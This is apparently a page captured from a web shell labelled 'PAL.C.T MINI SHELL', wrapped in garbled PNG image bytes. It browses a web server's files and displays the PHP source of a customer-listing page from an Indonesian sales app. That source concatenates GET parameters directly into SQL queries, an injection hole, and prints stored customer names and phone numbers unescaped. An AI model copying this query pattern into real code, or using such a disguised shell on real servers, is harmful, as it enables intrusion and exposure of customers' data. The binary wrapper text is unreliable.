php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/webhq/modul/web_contents/
upload
files >> //var/www/html/FTFL/webhq/modul/web_contents/customer.php

<div class="card">
    <div class="header">
        <h2>
            Toko
        </h2>
        
    </div>
    <div class="body">        

        <?php 

            if(isset($_GET['area'])){
              $area = $_GET['area'];
            }else{
              $area = "ALL";
            }

        	if(isset($_GET['status'])){
              $status = $_GET['status'];
            }else{
              $status = "ALL";
            }

            if(isset($_GET['jenis'])){
              $jenis = $_GET['jenis'];
            }else{
              $jenis = "ALL";
            }
        ?>
        <form method="get">
        	<input type="hidden" name="module" value="customer"> 
	        <div class="row">
                <div class="col-md-3">                   
                    <label>Area</label>         
                    <select class="form-control show-tick" name="area">
                        <option value="ALL" <?php if($area=="ALL"){echo "selected";} ?>>ALL</option>
                        <option value="Medan" <?php if($area=="Medan"){echo "selected";} ?>>Medan</option>
                        <option value="Sumut" <?php if($area=="Sumut"){echo "selected";} ?>>Sumut</option>
                        <option value="Aceh" <?php if($area=="Aceh"){echo "selected";} ?>>Aceh</option>
                        <option value="Riau" <?php if($area=="Riau"){echo "selected";} ?>>Riau</option>
                        <option value="Padang" <?php if($area=="Padang"){echo "selected";} ?>>Padang</option>
                                           
                    </select>
                </div>
	            <div class="col-md-3">                   
	            	<label>Status</label>         
	                <select class="form-control show-tick" name="status">
	                    <option value="ALL" <?php if($status=="ALL"){echo "selected";} ?>>ALL</option>
	                    <option value="NORMAL" <?php if($status=="NORMAL"){echo "selected";} ?>>NORMAL</option>
	                    <option value="TUNGGAK" <?php if($status=="TUNGGAK"){echo "selected";} ?>>TUNGGAK</option>

	                </select>
	            </div>
	            <div class="col-md-3">              
	            	<label>Jenis</label>              
	                <select class="form-control show-tick" name="jenis">
	                    <option value="ALL" <?php if($jenis=="ALL"){echo "selected";} ?>>ALL</option>
	                    <option value="TOKO" <?php if($jenis=="TOKO"){echo "selected";} ?>>TOKO</option>
	                    <option value="FBC" <?php if($jenis=="FBC"){echo "selected";} ?>>FBC</option>
	                    <option value="BSS" <?php if($jenis=="BSS"){echo "selected";} ?>>BSS</option>
	                    <option value="END USER" <?php if($jenis=="END USER"){echo "selected";} ?>>END USER</option>
	                </select>
	            </div>
	            <div class="col-md-3"> 
	            	<br>
	            	<button type="submit" class="btn btn-primary waves-effect btn-lg"><i class="fa fa-filter"></i>&nbsp; FILTER</button>
	            </div>     
	            <div class="col-md-12"></div>
	        </div>
     	</form>
     	<?php 
     		$sgetcustomer = "SELECT * FROM db_customer WHERE 1";     		
			if ($jenis!='ALL') {
				$sgetcustomer .= " AND jenis LIKE '%|".$jenis."|%' ";
			} 
            if ($area!='ALL') {
                $sgetcustomer .= " AND area_toko = '".$area."' ";
            } 
     		$sgetcustomer .= " AND status != 'HAPUS' ORDER BY nama_toko ASC";
     	?>
        <div class="table-responsive">
            <table class="table table-bordered table-striped table-hover js-basic-example dataTable">
                <thead>
                    <tr>
                        <th width="5px">No.</th>
                        <th>Toko</th>                        
                        <th>Kota</th>                 
                        <th>Jenis</th>
                        <th>Kunjungan</th>
                        <th>Tunggak</th>
                        <th>Status</th> 
                    </tr>
                </thead>
                
                <tbody>
                    <?php 
                        $no=0;
                        $qgetcustomer = $con->query($sgetcustomer);
                        while($rgetcustomer = $qgetcustomer->fetch(PDO::FETCH_ASSOC)){
                            $no++;
                            $expjenis = explode("|",$rgetcustomer['jenis']);
                            $jenis= "";
                            foreach($expjenis as $p){
                            	if($p!=""){
                            		$jenis .= $p."<br>";
                            	}                            	
                            }

                            $qgetkunjung = $con->query("SELECT * FROM db_kunjung WHERE uuid_customer = '".$rgetcustomer['uuid_customer']."' AND waktu_in != '00:00:00' ORDER BY id_kunjung DESC LIMIT 1");
                            $rgetkunjung = $qgetkunjung->fetch(PDO::FETCH_ASSOC);
                            $cgetkunjung = $qgetkunjung->rowCount();
                    ?>
                    <tr style="cursor: pointer;" onclick="window.open('media.php?module=detail_customer&uuid_customer=<?php echo $rgetcustomer['uuid_customer'];?>','_blank');">      
                        <td><?php echo $no;?></td>                                      
                        <td><?php echo $rgetcustomer['nama_toko'];?><br><?php echo $rgetcustomer['phone_toko'];?><br><?php echo $rgetcustomer['nama_pemilik'];?></td>
                        <td><?php echo $rgetcustomer['kota_toko'];?><br><?php echo $rgetcustomer['area_toko'];?></td>
                        <td><?php echo $jenis;?></td>  
                        <td>
                            <?php if($cgetkunjung > 0){echo DateToIndo2($rgetkunjung['tgl_kunjung'])."<br>".$rgetkunjung['waktu_in']."<br>".fncnama_staff($con,$rgetkunjung['uuid_staff']);
                                }else{
                                    echo "-";
                                }
                                ?>
                            
                        </td>
                        <td><span class="label bg-green"><?php echo $rgetcustomer['status'];?></span></td>
                        <td><span class="label bg-green"><?php echo $rgetcustomer['status'];?></span></td>
                        
                    </tr>
                    <?php } ?>                    
                      
                </tbody>
            </table>
        </div>
    </div>
</div>
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`